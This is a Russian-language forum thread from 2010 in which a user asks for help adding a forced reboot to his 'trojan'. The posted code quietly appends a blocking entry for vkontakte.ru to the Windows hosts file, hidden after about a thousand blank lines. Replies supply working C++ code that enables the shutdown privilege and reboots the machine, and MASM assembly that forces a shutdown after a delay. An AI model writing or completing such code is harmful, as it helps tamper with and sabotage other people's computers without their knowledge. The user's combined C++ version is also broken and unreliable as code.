Помогите дописать к трояну перезагрузку ПК
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Помогите дописать к трояну перезагрузку ПК - 2010-08-26 20:02:46.520000
|
|
|
You_DAD
Сообщений: 60
Оценки: 0
Присоединился: 2010-02-26 20:27:36.206666
|
Собственно есть : #include <iostream>
#include <fstream>
using namespace std;
int main(){
freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout);
unsigned int a = 0;
while(a<=1000){
a++; //
cout<<"\n";
}
cout<<"111111 vkontakte.ru"; Подскажите, как сделать ко всему этому еще и перезагрузку ПК
|
|
|
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 20:12:16.350000
|
|
|
Surft
Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
|
Ты хоть указывай на каком языке ты пишеш?
|
|
|
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 20:25:22.183333
|
|
|
You_DAD
Сообщений: 60
Оценки: 0
Присоединился: 2010-02-26 20:27:36.206666
|
Этот я в инете посмотрел, сам не пишу:) а так это вроде C++ P.S. Можно просто ссылку на статью по написанию троянов, самому даже интересней разобраться
|
|
|
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 21:05:27.486666
|
|
|
Surft
Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
|
Я на С++ никогда не работал. Если есть вопросы по VB или Дельфи спрашивай а по С++ хочеш ищи здесь - http://www.google.ru/search?hl=ru&newwindow=1&q=%D1%83%D1%80%D0%BE%D0%BA%D0%B8+%D0%BD%D0%B0+C%2B%2B&aq=f&aqi=&aql=&oq=&gs_rfai=
|
|
|
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 21:32:23.853333
|
|
|
Backdoor_
Сообщений: 212
Оценки: 0
Присоединился: 2010-05-27 15:33:14.940000
|
BOOL SetCurrentPrivilege( LPCTSTR Privilege, BOOL bEnablePrivilege )
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp, tpPrevious;
DWORD cbPrevious = sizeof( TOKEN_PRIVILEGES );
BOOL bSuccess = FALSE;
if ( ! LookupPrivilegeValue( NULL, Privilege, &luid ) )
return FALSE;
if( ! OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken ) )
return FALSE;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = 0;
AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), &tpPrevious, &cbPrevious );
if ( GetLastError() == ERROR_SUCCESS )
{
tpPrevious.PrivilegeCount = 1;
tpPrevious.Privileges[0].Luid = luid;
if ( bEnablePrivilege )
tpPrevious.Privileges[0].Attributes |= ( SE_PRIVILEGE_ENABLED );
else
tpPrevious.Privileges[0].Attributes &= ~( SE_PRIVILEGE_ENABLED );
AdjustTokenPrivileges( hToken, FALSE, &tpPrevious, cbPrevious, NULL, NULL );
if ( GetLastError() == ERROR_SUCCESS )
bSuccess=TRUE;
}
CloseHandle( hToken );
return bSuccess;
}
if (!SetCurrentPrivilege( SE_SHUTDOWN_NAME, TRUE ) )
{
::MessageBox(0,"Недостаточно привилегий!","",MB_OK);
}
ExitWindowsEx(EWX_REBOOT, 0);
|
|
|
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 23:36:35.376666
|
|
|
You_DAD
Сообщений: 60
Оценки: 0
Присоединился: 2010-02-26 20:27:36.206666
|
то есть код должен выглядеть так? #include <iostream>
#include <fstream>
using namespace std;
int main(){
freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout);
unsigned int a = 0;
while(a<=1000){
a++; //
cout<<"\n";
}
cout<<"111111 vkontakte.ru";
BOOL SetCurrentPrivilege( LPCTSTR Privilege, BOOL bEnablePrivilege )
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp, tpPrevious;
DWORD cbPrevious = sizeof( TOKEN_PRIVILEGES );
BOOL bSuccess = FALSE;
if ( ! LookupPrivilegeValue( NULL, Privilege, &luid ) )
return FALSE;
if( ! OpenProcessToken( GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken ) )
return FALSE;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = 0;
AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof( TOKEN_PRIVILEGES ), &tpPrevious, &cbPrevious );
if ( GetLastError() == ERROR_SUCCESS )
{
tpPrevious.PrivilegeCount = 1;
tpPrevious.Privileges[0].Luid = luid;
if ( bEnablePrivilege )
tpPrevious.Privileges[0].Attributes |= ( SE_PRIVILEGE_ENABLED );
else
tpPrevious.Privileges[0].Attributes &= ~( SE_PRIVILEGE_ENABLED );
AdjustTokenPrivileges( hToken, FALSE, &tpPrevious, cbPrevious, NULL, NULL );
if ( GetLastError() == ERROR_SUCCESS )
bSuccess=TRUE;
}
CloseHandle( hToken );
return bSuccess;
}
if (!SetCurrentPrivilege( SE_SHUTDOWN_NAME, TRUE ) )
{
::MessageBox(0,"Недостаточно привилегий!","",MB_OK);
}
ExitWindowsEx(EWX_REBOOT, 0); Пробую компилировать , ошибку выдает
|
|
|
RE: Помогите дописать к трояну перезагрузку ПК - 2010-08-26 23:45:40.826666
|
|
|
Flint_ta
Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
|
.586
.model small, stdcall
option casemap :none
include \MASM32\INCLUDE\user32.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\advapi32.inc
includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\user32.lib
includelib \MASM32\LIB\advapi32.lib
; #########################################################################
.data
time dd 10000; кол-во мс перед выключением
SeShutdownPrivilege db "SeShutdownPrivilege", 0
.data?
id db 4 dup (?)
hToken db 4 dup (?)
tkpPrivilegeCount db 4 dup (?)
pLocalId db 8 dup (?)
tkpPrivilegesAttributes db 4 dup (?)
.code
start:
push dword ptr ds:[time]
Call Sleep
call GetCurrentProcess
mov dword ptr ds:[id], eax
push offset hToken
push 28h
push eax
call OpenProcessToken
push offset pLocalId
push offset SeShutdownPrivilege
push 0
Call LookupPrivilegeValueA
mov dword ptr ds:[tkpPrivilegeCount], 1
mov dword ptr ds:[tkpPrivilegesAttributes], 2
push 0
push 0
push 0
push offset tkpPrivilegeCount
push 0
push dword ptr ds:[hToken]
call AdjustTokenPrivileges
PUSH 0
PUSH 6
CALL ExitWindowsEx
push 0
call ExitProcess
end start
; #########################################################################
|
|
|
|
|